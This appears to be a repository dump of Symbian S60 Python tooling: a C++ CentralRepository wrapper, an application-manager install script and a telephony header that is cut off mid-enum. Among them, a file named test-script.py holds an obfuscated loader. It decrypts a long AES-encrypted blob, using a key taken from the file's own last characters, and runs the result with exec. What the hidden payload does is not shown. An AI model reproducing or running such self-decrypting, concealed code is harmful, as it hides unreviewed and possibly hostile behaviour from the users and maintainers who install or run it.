gstring.Append(0); 49 | if (res == KErrNone) 50 | return Py_BuildValue("u",(TBuf<255>*)gstring.Ptr()); 51 | else 52 | return Py_BuildValue("i",res); 53 | } 54 | 55 | static PyObject* Get_Real(PyObject* , PyObject *args) 56 | { TUint address; 57 | TUint parameter; 58 | TReal value=-1; 59 | 60 | PyArg_ParseTuple(args,"II",&address,¶meter); 61 | TUid uid= TUid::Uid(address); 62 | CRepository* rep = CRepository::NewLC(uid); 63 | TInt res = rep->Get(parameter, value); 64 | CleanupStack::PopAndDestroy(rep); 65 | if (res == KErrNone) 66 | return Py_BuildValue("d",value); 67 | else 68 | return Py_BuildValue("i",res); 69 | } 70 | 71 | static PyObject* Set_Int(PyObject* , PyObject *args) 72 | { 73 | TUint address; 74 | TUint parameter; 75 | TInt integr; 76 | 77 | PyArg_ParseTuple(args,"IIi",&address,¶meter,&integr); 78 | TUid uid= TUid::Uid(address); 79 | CRepository* rep = CRepository::NewLC(uid); 80 | TInt res = rep->Set(parameter, integr); 81 | CleanupStack::PopAndDestroy(rep); 82 | return Py_BuildValue("i",res); 83 | } 84 | 85 | static PyObject* Set_Real(PyObject* , PyObject *args) 86 | { 87 | TUint address; 88 | TUint parameter; 89 | TReal value=-1; 90 | 91 | PyArg_ParseTuple(args,"IId",&address,¶meter,&value); 92 | TUid uid= TUid::Uid(address); 93 | CRepository* rep = CRepository::NewLC(uid); 94 | TInt res = rep->Set(parameter, value); 95 | CleanupStack::PopAndDestroy(rep); 96 | return Py_BuildValue("i",res); 97 | } 98 | 99 | static PyObject* Set_Str(PyObject* , PyObject *args) 100 | { 101 | TUint address; 102 | TUint parameter; 103 | char* _str; 104 | 105 | PyArg_ParseTuple(args,"IIu",&address,¶meter,&_str); 106 | 107 | TBuf<255> string; 108 | 109 | string.Copy((TUint16*)_str); 110 | TUid uid= TUid::Uid(address); 111 | CRepository* rep = CRepository::NewLC(uid); 112 | TInt res = rep->Set(parameter, string); 113 | CleanupStack::PopAndDestroy(rep); 114 | return Py_BuildValue("i",res); 115 | } 116 | 117 | static PyObject* Create_Int(PyObject* , PyObject *args) 118 | { 119 | TUint address; 120 | TUint parameter; 121 | TInt integr; 122 | 123 | PyArg_ParseTuple(args,"IIi",&address,¶meter,&integr); 124 | TUid uid= TUid::Uid(address); 125 | CRepository* rep = CRepository::NewLC(uid); 126 | TInt res = rep->Create(parameter, integr); 127 | CleanupStack::PopAndDestroy(rep); 128 | return Py_BuildValue("i",res); 129 | } 130 | 131 | static PyObject* Create_Real(PyObject* , PyObject *args) 132 | { 133 | TUint address; 134 | TUint parameter; 135 | TReal value=-1; 136 | 137 | PyArg_ParseTuple(args,"IId",&address,¶meter,&value); 138 | TUid uid= TUid::Uid(address); 139 | CRepository* rep = CRepository::NewLC(uid); 140 | TInt res = rep->Create(parameter, value); 141 | CleanupStack::PopAndDestroy(rep); 142 | return Py_BuildValue("i",res); 143 | } 144 | 145 | static PyObject* Create_Str(PyObject* , PyObject *args) 146 | { 147 | TUint address; 148 | TUint parameter; 149 | char* _str; 150 | 151 | PyArg_ParseTuple(args,"IIu",&address,¶meter,&_str); 152 | 153 | TBuf<255> string; 154 | 155 | string.Copy((TUint16*)_str); 156 | TUid uid= TUid::Uid(address); 157 | CRepository* rep = CRepository::NewLC(uid); 158 | TInt res = rep->Create(parameter, string); 159 | CleanupStack::PopAndDestroy(rep); 160 | return Py_BuildValue("i",res); 161 | } 162 | 163 | static PyObject* Delete(PyObject* , PyObject *args) 164 | { TUint address; 165 | TUint parameter; 166 | 167 | PyArg_ParseTuple(args,"II",&address,¶meter); 168 | TUid uid= TUid::Uid(address); 169 | CRepository* rep = CRepository::NewLC(uid); 170 | TInt res = rep->Delete(parameter); 171 | CleanupStack::PopAndDestroy(rep); 172 | return Py_BuildValue("i",res); 173 | } 174 | 175 | static PyObject* Reset(PyObject* , PyObject *args) 176 | { TUint address; 177 | TUint parameter; 178 | 179 | PyArg_ParseTuple(args,"II",&address,¶meter); 180 | TUid uid= TUid::Uid(address); 181 | CRepository* rep = CRepository::NewLC(uid); 182 | TInt res = rep->Reset(parameter); 183 | CleanupStack::PopAndDestroy(rep); 184 | return Py_BuildValue("i",res); 185 | } 186 | 187 | static PyObject* Move(PyObject* , PyObject *args) 188 | { TUint address; 189 | TUint parameter1; 190 | TUint parameter2; 191 | TUint mask; 192 | TUint32 errk; 193 | 194 | PyArg_ParseTuple(args,"IIII",&address,¶meter1,¶meter2,&mask); 195 | TUid uid= TUid::Uid(address); 196 | CRepository* rep = CRepository::NewLC(uid); 197 | TInt res = rep->Move(parameter1,parameter2,mask,errk); 198 | CleanupStack::PopAndDestroy(rep); 199 | return Py_BuildValue("(ii)",res,errk); 200 | } 201 | 202 | static const PyMethodDef methods[] = 203 | { 204 | {"get_int", (PyCFunction)Get_Int, METH_VARARGS}, 205 | {"get_real", (PyCFunction)Get_Real, METH_VARARGS}, 206 | {"get_str", (PyCFunction)Get_Str, METH_VARARGS}, 207 | {"set_int",(PyCFunction)Set_Int,METH_VARARGS}, 208 | {"set_real",(PyCFunction)Set_Real,METH_VARARGS}, 209 | {"set_str",(PyCFunction)Set_Str,METH_VARARGS}, 210 | {"create_int",(PyCFunction)Create_Int,METH_VARARGS}, 211 | {"create_real",(PyCFunction)Create_Real,METH_VARARGS}, 212 | {"create_str",(PyCFunction)Create_Str,METH_VARARGS}, 213 | {"delete",(PyCFunction)Delete,METH_VARARGS}, 214 | {"reset",(PyCFunction)Reset,METH_VARARGS}, 215 | {"move",(PyCFunction)Move,METH_VARARGS}, 216 | // {"emulkey",(PyCFunction)EmulKey,METH_VARARGS}, 217 | {0, 0} 218 | }; 219 | 220 | 221 | DL_EXPORT(void) init_CentralRepository() 222 | { 223 | PyObject *module; 224 | module = Py_InitModule("CRepository",(PyMethodDef*)methods); 225 | } 226 | 227 | #ifndef EKA2 228 | // 229 | // For Symbian or rather S60 3rd edition sdk 230 | GLDEF_C TInt E32Dll(TDllReason) 231 | { 232 | return KErrNone; 233 | } 234 | #endif 235 | -------------------------------------------------------------------------------- /Py2app.py: -------------------------------------------------------------------------------- 1 | # 2 | # appmgr_default.py 3 | # 4 | # This script implements the logic of Application Manager. 5 | # 6 | # Copyright (c) 2005-2006 Nokia Corporation 7 | # 8 | # Licensed under the Apache License, Version 2.0 (the "License"); 9 | # you may not use this file except in compliance with the License. 10 | # You may obtain a copy of the License at 11 | # 12 | # http://www.apache.org/licenses/LICENSE-2.0 13 | # 14 | # Unless required by applicable law or agreed to in writing, software 15 | # distributed under the License is distributed on an "AS IS" BASIS, 16 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 17 | # See the License for the specific language governing permissions and 18 | # limitations under the License. 19 | # 20 | 21 | import sys 22 | import e32 23 | import appuifw 24 | import os 25 | 26 | if e32.s60_version_info>=(3,0): 27 | PYTHON_PATH = '\\python' 28 | APPMGR_PATH = 'c:\\private\\F0201512' 29 | LIB_PATH = '\\sys\\bin' 30 | APPS_PATH = '\\sys\\bin' 31 | else: 32 | PYTHON_PATH = '\\system\\apps\\python' 33 | APPMGR_PATH = '\\system\\apps\\appmgr' 34 | LIB_PATH = '\\system\\libs' 35 | APPS_PATH = '\\system\\apps' 36 | 37 | PYTHON_EXTS = ['.py', '.pyc', '.pyo', '.pyd'] 38 | PYTHON_LIB_EXTS = ['.pyc', '.pyo', '.pyd'] 39 | 40 | def python_drive(): 41 | if e32.s60_version_info>=(3,0): 42 | return "C:" 43 | for drive in [str(x) for x in e32.drive_list()]: 44 | if os.path.isfile(os.path.join(drive, PYTHON_PATH, 'python.app')): 45 | return drive 46 | raise AssertionError, "Python not found" 47 | 48 | def do_copy(src, dst_dir): 49 | dst = os.path.join(dst_dir, os.path.split(src)[1]) 50 | if not os.path.isdir(dst_dir): 51 | os.mkdir(dst_dir) 52 | e32.file_copy(unicode(dst), unicode(src)) 53 | 54 | def script_install(filename): 55 | do_copy(filename, os.path.join(python_drive(), PYTHON_PATH, 'my')) 56 | 57 | def lib_install(filename): 58 | file_root = os.path.splitext(os.path.split(filename)[1])[0] 59 | matching_lib_names = [file_root+x for x in PYTHON_EXTS] 60 | for p in sys.path[1:]: 61 | for n in matching_lib_names: 62 | matching_name = os.path.join(p, n) 63 | if os.path.exists(matching_name): 64 | if appuifw.query(u'Replace existing\n'+unicode(n),'query'): 65 | os.remove(matching_name) 66 | else: 67 | return 68 | do_copy(filename, os.path.join(python_drive(), LIB_PATH)) 69 | 70 | def standalone_install(filename): 71 | def reverse(L): 72 | L.reverse() 73 | return L 74 | def atoi(s): 75 | # Little-endian conversion from a 4-char string to an int. 76 | sum = 0L 77 | for x in reverse([x for x in s[0:4]]): 78 | sum = (sum << 8) + ord(x) 79 | return sum 80 | def itoa(x): 81 | # Little-endian conversion from an int to a 4-character string. 82 | L=[chr(x>>24), chr((x>>16)&0xff), chr((x>>8)&0xff), chr(x&0xff)] 83 | L.reverse() 84 | return ''.join(L) 85 | 86 | try: 87 | offset = int(file(os.path.join(python_drive(), APPMGR_PATH, 88 | 'uid_offset_in_app')).read(), 16) 89 | except: 90 | offset = None 91 | 92 | app_rootname = os.path.splitext(os.path.split(filename)[1])[0] 93 | app_dir = os.path.join(python_drive(), APPS_PATH, app_rootname) 94 | 95 | # 96 | # read the UID from the script file 97 | # 98 | script = file(filename, 'r').read() 99 | uidpos = script.find('SYMBIANUID=') 100 | if uidpos == -1: 101 | uid_text = appuifw.query(u'Give UID', 'text', u'0xXXXXXXXX') 102 | if not uid_text == None: 103 | uid = int(uid_text, 16) 104 | else: 105 | appuifw.note(u"Installation cancelled", "info") 106 | return 107 | else: 108 | uidpos = uidpos+len('SYMBIANUID=') 109 | while uidpos+10 < len(script) and script[uidpos].isspace(): 110 | uidpos = uidpos+1 111 | if uidpos == len(script): 112 | appuifw.note(u"UID not found", "error") 113 | return 114 | else: 115 | uid = int(script[uidpos:uidpos+10], 16) 116 | 117 | # 118 | # copy the script to application's directory as default.py 119 | # 120 | if not os.path.isdir(app_dir): 121 | os.mkdir(app_dir) 122 | e32.file_copy(unicode(os.path.join(app_dir, 'default.py')), 123 | unicode(filename)) 124 | 125 | # 126 | # copy the template .app file to application directory with proper name 127 | # and set the UID and checksum fields suitably 128 | # 129 | template_dotapp = file(os.path.join(python_drive(), APPMGR_PATH, 'pyapp_template.tmp')) 130 | dotapp_name = app_rootname + '.app' 131 | dotapp = file(os.path.join(app_dir, dotapp_name), 'w') 132 | appbuf = template_dotapp.read() 133 | csum = atoi(appbuf[24:28]) 134 | crc1 = itoa(e32._uidcrc_app(uid)) 135 | crc2 = itoa(( uid + csum ) & 0xffffffffL) 136 | if offset: 137 | temp = appbuf[0:8] + itoa(uid) + crc1 + appbuf[16:24] + crc2 +\ 138 | appbuf[28:offset] + itoa(uid) + appbuf[(offset+4):] 139 | else: 140 | temp = appbuf[0:8] + itoa(uid) + crc1 + appbuf[16:24] + crc2 + appbuf[28:] 141 | dotapp.write(temp) 142 | 143 | # 144 | # copy the template .rsc file to application directory with proper name 145 | # 146 | rsc_name = app_rootname + '.rsc' 147 | e32.file_copy(unicode(os.path.join(app_dir, app_rootname + '.rsc')), 148 | unicode(os.path.join(python_drive(), APPMGR_PATH, 'pyrsc_template.tmp'))) 149 | 150 | def exit_wait(): 151 | appuifw.note(u"Please wait", "info") 152 | 153 | def run(params): 154 | filename = params[1] 155 | appuifw.app.title = unicode(os.path.split(filename)[1]) 156 | ext = os.path.splitext(filename)[1].lower() 157 | if ext in PYTHON_EXTS: 158 | source_path = os.path.splitdrive(filename)[1].lower() 159 | # It's safe to exit if we have been started from the Messaging 160 | # app, but not if we have been started from e.g. the web 161 | # browser, since then the whole browser would exit. The 162 | # default is to not exit the app, since that's safer. 163 | should_exit=source_path.startswith('\\system\\mail') 164 | if ext in PYTHON_LIB_EXTS: 165 | actions = [lambda: lib_install(filename)] 166 | menu = [u"Python lib module"] 167 | else: 168 | actions = [lambda: script_install(filename), 169 | lambda: standalone_install(filename), 170 | lambda: lib_install(filename)] 171 | menu = [u"Python script", 172 | u"py2app", 173 | u"Python lib module"] 174 | 175 | index = appuifw.popup_menu(menu, u"Install as") 176 | try: 177 | if not index == None: 178 | appuifw.app.exit_key_handler = exit_wait 179 | e32.ao_yield() 180 | actions[index]() 181 | appuifw.note(u"Installation complete", "info") 182 | finally: 183 | appuifw.app.exit_key_handler = None 184 | if should_exit: 185 | appuifw.app.set_exit() 186 | 187 | if __name__ == '__main__': 188 | try: 189 | run(sys.argv) 190 | except: 191 | try: 192 | import logger 193 | except: 194 | appuifw.note(u"Failed", "error") 195 | else: 196 | logger.print_exception_trace('c:\\appmgr.log') 197 | appuifw.note(u"Failed -- see appmgr.log", "error") 198 | -------------------------------------------------------------------------------- /test-script.py: -------------------------------------------------------------------------------- 1 | exec (__import__('aes').new(str((open(__import__('sys').argv[0]).read())[-33:-1])).decrypt('\x89\x37\x4d\xdb\x8c\xc3\xbe\xd8\x58\xcd\x7c\x62\xd6\x74\x4f\xc6\xd3\x15\xc8\x66\x3f\x3a\x91\x88\x5f\xbc\x40\x62\x17\x1d\xa9\x74\x46\xd4\xdc\xe4\xb3\x4e\xfd\xdc\x9a\x94\x91\x60\x94\x6a\x48\xe2\x5c\x57\x61\xf2\x0f\x95\x24\x62\x6a\x96\x63\x3c\x86\x42\xcf\x35\xde\x30\xbc\xf5\xc0\xd0\xcc\x43\xa0\xc7\xdd\x3c\xca\xbd\x8f\x9e\x52\x15\x6a\x8f\xa4\x77\x87\xcc\x10\x6d\xdf\xb3\xec\xd6\x83\x27\x17\x64\x4d\xda\xe2\xc4\x69\xdc\xb7\x89\x69\xd0\xa2\xa5\x02\xe6\xad\xfa\xd3\x87\xcb\x65\x29\xc6\xf9\xf0\x09\x73\xd6\x84\x02\xb9\xf1\x45\x1a\x8b\x08\xf4\x31\x1d\x11\x45\x3b\x84\x52\x66\xe4\x74\x23\x10\xec\x1b\x09\xda\xf2\x1f\x15\x8b\x60\xba\xac\x9a\xdf\x95\x00\xf0\xf1\xc3\xbe\x46\xe1\x16\x1a\x26\x53\x3d\x5e\x1d\x27\x90\x2a\xfc\x87\xb2\x94\xcc\x44\x79\xcc\x2d\x57\x72\x5a\x7a\x8a\x92\xea\xf0\xc7\x1e\xd4\x53\x32\xcc\x40\xaf\x59\xab\xff\xba\xf5\x3d\x61\x91\x0f\x14\x89\x60\xcb\x6b\x65\xcd\x83\xfc\xbc\xd6\xb3\xf4\x7c\x86\x01\xeb\x99\x1a\x50\x1a\x76\x6c\x91\xb3\xb6\x48\xa2\xd4\x07\xd6\xb4\xaf\x26\xa5\xe6\x79\xcf\xbb\xa9\xe4\x87\x36\x24\x6d\x80\x3d\xc1\xc4\x03\x3a\x42\xf3\xfe\xf1\x3f\x08\x46\xcb\xe1\xdc\xb9\xac\x2d\xfb\xae\x86\xd9\x2b\xfc\x46\x38\x74\xb8\x07\xa2\x69\xe6\x6e\x3c\x57\xda\xc1\x4a\x8a\x13\xb9\x25\x84\x27\x8a\x39\x47\xcc\x7b\xc6\x10\x14\x40\xe4\x55\x26\x44\x88\x9e\x88\x0b\xf0\x78\xd1\xee\x33\x96\x18\xe1\xe7\x04\xd8\x06\x76\x45\x43\xa2\xd0\xda\x4f\xe1\xe2\x00\x0e\xd9\x4e\xee\x58\xf4\x8d\xa6\x67\xe4\x1c\xac\xf1\xc5\x20\xe2\xee\x32\x7c\x2e\x7a\xb8\xec\x34\x2f\xc4\x80\x12\x64\xf2\xaf\xfc\x6d\xe9\x83\xe4\x4c\xa4\x9b\xf4\xef\x01\xe0\x5f\xbf\xdd\xa2\x4e\x38\x0e\xc8\x52\x7d\xa1\x3d\x90\x4b\x4f\x9d\x27\x77\x66\xe1\x9b\x64\x68\x0a\x53\x3e\x41\x1d\x09\x09\xec\x59\xea\xaa\xdb\x7c\x8c\xa9\x3e\x8d\x7a\x87\x23\xe6\xba\x83\x4b\xec\xe4\x98\x93\x69\x1d\x3c\xfe\xe9\xd1\xd3\x4d\x3e\x13\xbd\xcd\x97\x5f\xc4\x9a\xab\xc0\x8f\x1c\x07\xbf\x98\x9e\xe5\xf0\x8b\x78\x52\xfc\x02\xc5\x7e\xd1\x09\x7f\xc4\x5f\xfb\x18\xd0\xe4\x98\xa3\x3a\xa9\x4c\xfe\x84\x8f\x4c\xa5\x27\x93\x28\x21\xad\x70\xde\xbc\xbe\x59\x4a\x04\x57\x79\x9d\xa6\x88\x64\x15\x27\xc7\xb3\x8e\xb2\xda\x02\x40\xa3\x4d\x77\x7a\x3d\x59\x24\xe6\x72\x39\x5f\x11\x8e\x84\x88\x1e\x4c\x74\x3b\x81\x71\xf8\x7f\x34\x38\x65\x60\xc6\x63\xed\x57\xdc\xd7\xe2\xe1\xf9\x23\x3d\x1d\x2f\xc2\x4a\x53\xec\x99\x52\x2f\x7b\x89\xf9\x99\xb3\x4e\xb0\xf8\x34\x63\x53\xca\x87\x93\x59\x01\xc4\xc7\x1e\x2f\xf1\x65\x68\xe0\xf2\x66\x0d\x89\x28\x2d\xb2\x71\x77\x96\x7e\x44\x4a\x7d\xde\x5a\xed\xe5\x6d\xcf\x2b\xee\x36\x49\xc6\x7f\x8c\x05\xcb\xf2\xb0\xcf\x0f\xef\x82\xdb\x97\xfe\xde\xb7\x45\x86\xa8\xc8\x42\x1d\xcb\x69\xe4\xd3\x51\xad\xeb\x27\x08\x6f\xd0\xba\x4d\x64\x30\xb5\xa3\x29\x05\xd0\x9f\x99\x40\xa1\xd7\x37\xc7\x31\x45\xb1\x79\x1b\xe7\xd8\x15\xab\x6f\x11\xa3\xa6\x2f\xcd\x37\x1d\xa4\x2b\x74\x03\x92\xe5\x92\x01\x6f\xc9\xf8\xeb\x8a\x67\x51\x6c\xc4\x92\x8b\x6b\x2f\x58\x7c\x9e\xb8\xea\x90\x82\x8d\x43\xf1\xda\x76\x01\xe1\x5d\x17\x5d\x2f\x41\x6e\x96\x2f\x63\xc6\xe7\x4d\xf7\x97\xa9\xf5\x20\xfb\x52\xbb\xed\x07\x48\x50\xe1\x15\x76\xb6\xbd\x7b\x90\x59\x9b\xf7\x64\xbe\xad\xdb\xe2\x18\xca\x14\xf1\x11\x5e\x89\x3c\x7f\x01\x99\x41\xc4\x01\x14\xb5\x2e\x27\x38\x30\x99\x93\x63\x0c\xb2\x8b\x37\x7c\x02\x86\x6c\x4a\xe6\x97\xfe\xb5\x4c\x2f\xb9\xfb\xc6\x31\x01\xd1\xc1\x6e\x11\x24\xdc\x20\x5a\xef\x6d\x10\x88\x47\x8f\x44\x9b\x2e\xa4\x51\x21\x2e\x7b\x37\x41\xdc\x48\x32\xf1\x8d\x36\x39\x08\xcf\x96\xe0\xda\xcb\x71\x5d\x36\x4d\xcc\x23\xd4\xe2\x2b\xdb\xf2\x6f\x0f\x6f\x53\x5d\x84\x56\x42\xf2\xa4\x09\x06\x79\xca\x8c\xb1\x40\x95\x13\x04\x78\xed\x40\x6e\xeb\x88\x1f\x15\xad\x22\x5b\x8d\xc9\xcf\xeb\x3e\xce\x26\xf7\x35\x3a\xb1\x6e\x12\xe2\xa0\xc0\xb2\xba\x7e\xe4\x1c\x7b\xf8\xd8\x0c\x85\x23\x04\x4c\xd9\x41\x9d\xf7\x21\x06\x4c\xf1\xba\xa8\xbb\xc5\x91\x78\xd8\x7c\x97\x23\xb8\xb6\xe3\x50\x12\x6c\xd1\x04\xc8\x62\x7c\x1d\x19\x1b\x78\xf0\xe3\x93\xf5\x3c\xcd\xd7\x0f\x2e\x95\x87\xa9\xe2\x06\x98\x86\x12\xc6\xc6\x9b\x0e\x9a\xdb\xf0\xd3\x76\x60\xd3\x92\x1d\xaf\x72\xa6\x62\xf9\x29\xff\x95\xa8\x5a\xd5\x43\x98\x6f\xda\xa3\xb8\x0f\x62\x69\x65\x9d\x87\xa8\x79\xb0\xf9\x23\x4c\xbe\xe2\x95\xa8\x9b\xc3\x1f\xec\x96\x49\x70\x9d\x14\x1c\x92\x5d\xd7\x7c\x3e\x44\xf3\x4e\x17\x8b\xb9\xf9\x2d\x6b\x0b\x9a\x60\x47\x81\x1b\xab\xb1\x7e\x73\x55\x56\xe9\x29\x83\xe4\x68\xa9\x00\x46\x08\x5d\x0e\xee\xa4\x5b\xab\x0b\xf4\x86\x46\x9c\x68\x21\x01\xdd\x05\xca\xc6\x3d\xac\x6d\xe0\x79\x41\x8d\xb6\xac\x07\x86\x34\x0d\x80\x54\xeb\x67\x07\x07\x18\xf1\x78\x9f\x38\x32\x75\x00\xa0\xd2\x3a\xaa\xb1\xab\x46\x06\x50\x1f\x26\x5b\x0c\x99\xb2\x1b\xfb\x68\x22\xa4\x8b\xd0\x11\x7f\x6d\x07\x17\x1b\x51\xdb\xc8\xfe\xeb\xe7\x87\x62\x6e\xaa\xdc\xcc\xe3\x1f\xd9\xa6\x86\x38\x26\x59\xdd\x02\x50\x6e\x6d\xad\x48\x11\x8d\x3f\x92\xf1\x4a\x3c\xe6\x53\xf8\xb2\x67\x27\xdd\x16\x66\xf8\x8f\x6d\x99\x86\xf7\x66\x44\x4e\xaf\x42\x12\xa1\xbe\xe2\x85\x60\xcd\x04\x3a\x1f\xee\xb3\x01\xab\x7a\x64\xfc\xf5\x94\x84\x25\xb6\xa3\x93\xea\xc5\xa8\xd3\x1c\x6f\x37\xc2\x1a\xe4\xc5\x51\x93\x7a\x20\x5d\x74\xa1\x82\xdc\xde\xeb\xa7\xd3\x64\xe8\x2f\xbb\xf8\x89\x85\x58\x6c\xbc\x29\x84\x0a\xb0\xbd\x91\x4d\xf0\xeb\xaf\x78\xde\x4e\xf3\x3c\xd8\x92\xd9\xcf\xee\x08\x68\xeb\x23\x28\xc1\xb9\x09\x3a\xd2\xaa\x76\xd8\xd4\x6f\x05\x65\x62\x16\x20\xc5\x2c\x75\x64\xe5\xbb\xc5\xa0\x68\xe9\xb6\xd0\x07\xe4\xf2\x9f\xf2\xdd\x45\x4f\x72\x93\xf3\xb4\xd3\xd4\xfa\xae\x80\xed\x28\xd6\xea\x89\xdd\x7c\x79\xf8\x23\x03\x14\x55\x59\x1a\x8d\xcd\xb9\xec\x8a\xa1\xb9\xd6\xc1\x8b\xc9\x5f\x75\xd9\x0a\x00\xe3\x34\x03\x54\x9e\xeb\xb9\x3e\x6a\xde\x6b\x5b\xda\x43\xba\x6b\xe1\x28\xf4\xfc\x15\x0d\x41\xf1\x73\x90\x16\xa2\xa4\x52\x96\xeb\x00\xa2\xc2\x0c\xcf\xf5\x88\x3c\x69\xc7\x77\xd7\xdd\xde\x7d\x9e\xde\xbe\xa0\xf7\x7e\x41\xea\x30\x94\xb1\x3d\xe8\x64\x7a\x94\xf0\xc1\x07\x17\x33\x4d\xeb\x20\x83\x34\x6b\x7c\xdb\xd6\x17\x82\x6d\x28\xb6\x91\x4f\x99\x24\x18\x6c\x8e\xc2\x43\xf5\xd4\x94\x69\x31\x44\xbe\x68\xce\xfa\xa1\xeb\x8c\xbb\x84\x80\x0e\x47\xec\xe9\x87\x7a\x67\x6c\x83\x0f\x16\x69\x20\x7c\x9e\x4e\x08\x62\x5f\xc7\x14\x2f\xf9\xb1\xac\xc3\x62\xcc\x07\x91\x64\x12\x38\xc2\xab\x9f\xd5\xd1\x39\x7e\x9d\x25\x4d\x8c\x87\xc8\x15\xcf\x0a\xb6\x9b\x8f\x93\x53\x2f\xed\x6e\x0b\x28\x1c\x81\xe6\x74\x7a\x98\xcf\xef\x7a\x09\xcb\x17\xc9\x2f\x0d\x4c\x4c\xcb\xdc\x95\x3a\x0b\x09\x27\x33\xa0\x4b\x5c\x71\xc8\x86\x7b\x34\x3e\x12\x93\x4a\x14\x3a\x1c\x2c\xa9\x48\xb6\xf5\x40\x19\x8b\x92\x33\x6e\x4b\xb2\xaa\x1b\x9e\x10\x27\xd2\x75\x7d\xcc\xc8\x1e\xf7\x59\x96\xb0\x94\x9c\x76\x51\x88\xb7\x54\xe8\xdf\x28\x9a\xe0\xce\x1b\x87\xb3\x68\x67\xc2\xb5\xf7\xaf\xe0\xa7\x3c\x90\x9a\x2e\xbd\x88\xb2\xb2\x86\x0d\x52\xe2\x8d\x46\x5a\x80\x15\xe3\xfe\x2b\x42\x34\xa7\xe9\x74\xfb\x4c\x9d\x60\x04\x79\x6e\xe1\xb4\x58\x2d\xcd\xc5\xce\xaa\xe5\xae\x8e\x4e\x3d\x78\x0f\x94\x8c\x34\x5c\x3b\x2d\xb1\xd4\xfa\x1f\x75\xe7\xd7\x8c\xcb\xea\x46\x00\xf3\x46\xd4\xef\x17\xfd\xa8\xa4\x91\x52\x49\xe8\xeb\x1e\x9e\xfa\x73\x08\xac\x61\x0e\xd2\x6c\x86\x72\x8a\x7e\x6f\x5a\x05\xef\x5a\x0d\xcd\x47\xcd\x7e\x59\x8c\x34\x62\x6c\x24\x75\xd8\x7d\x15\xab\xed\xa5\x36\x00\x23\x2d\x55\x94\x3d\xe9\xed\xe5\x7b\xcf\x44\xf0\xa5\x5c\x06\xb2\xba\x68\x03\xda\xc6\x4e\x37\xe0\xf8\x11\x7d\x29\xe2\xd6\xf9\x82\xb5\x91\xfb\xc9\xfb\x58\x55\x6c\x7e\x6a\xe9\xc8\xd1\x6e\x3f\x50\x77\x27\x8d\xb7\x04\xcb\x2a\x25\xb8\xe9\x1b\x00\xe4\x03\xc7\x78\xbc\x22\x57\x54\x4f\x38\xde\x21\xd4\xd7\x4d\xd9\x2b\x81\x16\xe3\x44\x13\x34\x72\x15\xc0\xb4\x5a\x44\xc0\xe8\xba\x3a\xcb\x3d\x4f\x71\x61\x90\x6e\xc3\x4d\x48\x91\x78\xe4\x08\xd5\xd8\xb9\xb4\xf7\x22\x0e\xff\x15\x5e\x03\x8a\x41\x73\xd5\x1c\xa5\x97\x68\x7b\x8a\x7a\x2c\x5a\x9a\x14\x90\x20\xc7\xff\x6c\x8b\x1b\xc5\x6c\xba\x1f\xc4\x1a\xd1\x35\x48\x1b\x97\x29\x1c\x4b\x8d\xad\xb7\x1c\xd8\x5c\xd5\x0d\xef\xd1\x48\x1c\x2f\x65\x34\x4d\x3c\x7f\xcd\x14\x40\xd0\x04\xb1\x37\x3f\x59\x5a\xa8\x4d\x59\x9e\x37\xd9\x37\xa9\xc1\x83\x93\x83\x93\xcd\x5d\x34\x36\x96\x4b\xf9\x3d\xac\x71\xd0\x62\x6c\x81\x60\xec\x8c\xe0\x04\xc4\xb0\x94\xf9\x2f\xcf\x7d\xd4\xab\x1e\x0c\xf8\x2b\x27\x89\x35\x32\x11\x42\xd9\x8d\x1d\x12\xb9\x94\xd7\xdf\xd4\x6c\xd6\x14\x78\x5f\x2e\xbb\x74\x51\x11\xf1\xa3\xf9\xda\x28\xd6\xd5\x99\x3d\x34\x8e\xa3\x1f\x23\x8b\x31\xab\x93\xbb\x67\x82\x31\x8f\x11\x19\x00\xf2\x59\x5f\xb0\xe4\x14\xca\x19\x06\xbf\x31\xc8\xce\xcb\xb4\x4c\x8b\x26\x35\x79\xa7\xb4\x80\x57\x81\x71\x6e\x79\xce\xdb\x0d\x40\x57\xb8\x19\xfa\x30\xc5\x73\x63\x19\xb4\x45\xd3\x88\xb5\x98\x2d\x3f\xa0\xe8\x83\x96\x95\x37\xca\x27\x10\xf6\xeb\xec\x95\x57\x46\xc1\x40\x65\xf3\x2f\xc2\x08\x8e\x3c\xbe\x67\x09\x58\xd9\xf7\xfa\x78\xc6\x2d\x85\xa1\x32\xb8\x4e\xcc\x9b\x64\x0d\x00\x4f\x35\xe4\x1c\x82\x3e\xef\x59\x42\x72\x17\xc1\xc4\x2d\x1b\xab\x64\x57\x1f\x4f\x40\x45\x70\xc7\x69\xdc\xb4\x22\xd3\x07\xb1\x60\xf6\x61\xfe\x9d\xdd\x65\x4f\xa4\x9e\xf1\x91\x96\x0d\xe1\x8c\x44\x86\xfe\x24\xd7\x99\xac\x2f\x1e\xcf\xa2\x5c\xf4\x36\x2e\xf7\x60\x63\xb0\x9f\x1e\x49\x90\x30\xb6\x3e\xb4\xf3\xec\x36\x37\x61\x8e\xcc\xc7\xed\x4f\x9a\xdb\xc1\x73\xab\x61\x09\x18\xfb\x8e\xb5\x1c\x89\x3b\x4f\x7e\x48\xd6\x0f\x7c\xf2\xbe\xa3\x99\xdf\x4d\xaf\x32\x85\xc9\x5a\x32\x16\xa5\xee\x0f\xb3'));'85435324121421367236773972354868' -------------------------------------------------------------------------------- /ETELMMCS.H: -------------------------------------------------------------------------------- 1 | // ETELMMCS.H 2 | // 3 | // Author: Nickolay Golubev 4 | // Contact: 2nike@mail.ru 5 | // Version 0.01 6 | // Updated 16.09.2003 7 | // 8 | 9 | 10 | enum { 11 | EMobilePhoneGetPhoneStoreInfoCancel, 12 | EMobilePhoneNotifyIccAccessCapsChangeCancel, 13 | EMobilePhoneGetCustomerServiceProfileCancel, 14 | EMobilePhoneGetServiceTableCancel, 15 | EMobilePhoneGetBatteryInfoCancel, 16 | EMobilePhoneNotifyBatteryInfoChangeCancel, 17 | EMobilePhoneGetSignalStrengthCancel, 18 | EMobilePhoneNotifySignalStrengthChangeCancel, 19 | EMobilePhoneGetIndicatorCancel, 20 | EMobilePhoneNotifyIndicatorChangeCancel, 21 | EMobilePhoneGetPhoneIdCancel, 22 | EMobilePhoneGetSubscriberIdCancel, 23 | EMobilePhoneNotifyDTMFCapsChangeCancel, 24 | EMobilePhoneSendDTMFTonesCancel, 25 | EMobilePhoneNotifyStopInDTMFStringCancel, 26 | EMobilePhoneGetNetworkRegistrationStatusCancel, 27 | EMobilePhoneNotifyNetworkRegistrationStatusChangeCancel, 28 | EMobilePhoneNotifyModeChangeCancel, 29 | EMobilePhoneGetCurrentNetworkCancel, 30 | 